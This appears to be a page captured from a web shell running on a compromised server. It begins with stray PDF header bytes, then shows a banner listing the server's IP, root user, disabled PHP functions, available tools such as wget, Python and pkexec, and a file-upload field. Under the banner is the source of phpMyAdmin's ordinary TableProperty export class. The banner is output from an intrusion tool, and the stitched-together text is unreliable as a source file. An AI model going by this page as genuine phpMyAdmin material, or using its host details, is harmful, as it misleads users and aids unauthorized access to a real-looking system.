%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 49.231.201.246 / Your IP : 216.73.216.149 Web Server : Apache/2.4.18 (Ubuntu) System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64 User : root ( 0) PHP Version : 7.0.33-0ubuntu0.16.04.16 Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /usr/share/phpmyadmin/libraries/plugins/export/ |
Upload File : |
<?php /* vim: set expandtab sw=4 ts=4 sts=4: */ /** * Holds the TableProperty class * * @package PhpMyAdmin-Export * @subpackage CodeGen */ if (! defined('PHPMYADMIN')) { exit; } /** * TableProperty class * * @package PhpMyAdmin-Export * @subpackage CodeGen */ class TableProperty { /** * Name * * @var string */ public $name; /** * Type * * @var string */ public $type; /** * Whether the key is nullable or not * * @var bool */ public $nullable; /** * The key * * @var int */ public $key; /** * Default value * * @var mixed */ public $defaultValue; /** * Extension * * @var string */ public $ext; /** * Constructor * * @param array $row table row */ public function __construct($row) { $this->name = trim($row[0]); $this->type = trim($row[1]); $this->nullable = trim($row[2]); $this->key = trim($row[3]); $this->defaultValue = trim($row[4]); $this->ext = trim($row[5]); } /** * Gets the pure type * * @return string type */ public function getPureType() { $pos = /*overload*/mb_strpos($this->type, "("); if ($pos > 0) { return /*overload*/mb_substr($this->type, 0, $pos); } return $this->type; } /** * Tells whether the key is null or not * * @return bool true if the key is not null, false otherwise */ public function isNotNull() { return $this->nullable == "NO" ? "true" : "false"; } /** * Tells whether the key is unique or not * * @return bool true if the key is unique, false otherwise */ public function isUnique() { return $this->key == "PRI" || $this->key == "UNI" ? "true" : "false"; } /** * Gets the .NET primitive type * * @return string type */ public function getDotNetPrimitiveType() { if (/*overload*/mb_strpos($this->type, "int") === 0) { return "int"; } if (/*overload*/mb_strpos($this->type, "longtext") === 0) { return "string"; } if (/*overload*/mb_strpos($this->type, "long") === 0) { return "long"; } if (/*overload*/mb_strpos($this->type, "char") === 0) { return "string"; } if (/*overload*/mb_strpos($this->type, "varchar") === 0) { return "string"; } if (/*overload*/mb_strpos($this->type, "text") === 0) { return "string"; } if (/*overload*/mb_strpos($this->type, "tinyint") === 0) { return "bool"; } if (/*overload*/mb_strpos($this->type, "datetime") === 0) { return "DateTime"; } return "unknown"; } /** * Gets the .NET object type * * @return string type */ public function getDotNetObjectType() { if (/*overload*/mb_strpos($this->type, "int") === 0) { return "Int32"; } if (/*overload*/mb_strpos($this->type, "longtext") === 0) { return "String"; } if (/*overload*/mb_strpos($this->type, "long") === 0) { return "Long"; } if (/*overload*/mb_strpos($this->type, "char") === 0) { return "String"; } if (/*overload*/mb_strpos($this->type, "varchar") === 0) { return "String"; } if (/*overload*/mb_strpos($this->type, "text") === 0) { return "String"; } if (/*overload*/mb_strpos($this->type, "tinyint") === 0) { return "Boolean"; } if (/*overload*/mb_strpos($this->type, "datetime") === 0) { return "DateTime"; } return "Unknown"; } /** * Gets the index name * * @return string containing the name of the index */ public function getIndexName() { if (/*overload*/mb_strlen($this->key) > 0) { return "index=\"" . htmlspecialchars($this->name, ENT_COMPAT, 'UTF-8') . "\""; } return ""; } /** * Tells whether the key is primary or not * * @return bool true if the key is primary, false otherwise */ public function isPK() { return $this->key == "PRI"; } /** * Formats a string for C# * * @param string $text string to be formatted * * @return string formatted text */ public function formatCs($text) { $text = str_replace( "#name#", ExportCodegen::cgMakeIdentifier($this->name, false), $text ); return $this->format($text); } /** * Formats a string for XML * * @param string $text string to be formatted * * @return string formatted text */ public function formatXml($text) { $text = str_replace( "#name#", htmlspecialchars($this->name, ENT_COMPAT, 'UTF-8'), $text ); $text = str_replace( "#indexName#", $this->getIndexName(), $text ); return $this->format($text); } /** * Formats a string * * @param string $text string to be formatted * * @return string formatted text */ public function format($text) { $text = str_replace( "#ucfirstName#", ExportCodegen::cgMakeIdentifier($this->name), $text ); $text = str_replace( "#dotNetPrimitiveType#", $this->getDotNetPrimitiveType(), $text ); $text = str_replace( "#dotNetObjectType#", $this->getDotNetObjectType(), $text ); $text = str_replace( "#type#", $this->getPureType(), $text ); $text = str_replace( "#notNull#", $this->isNotNull(), $text ); $text = str_replace( "#unique#", $this->isUnique(), $text ); return $text; } }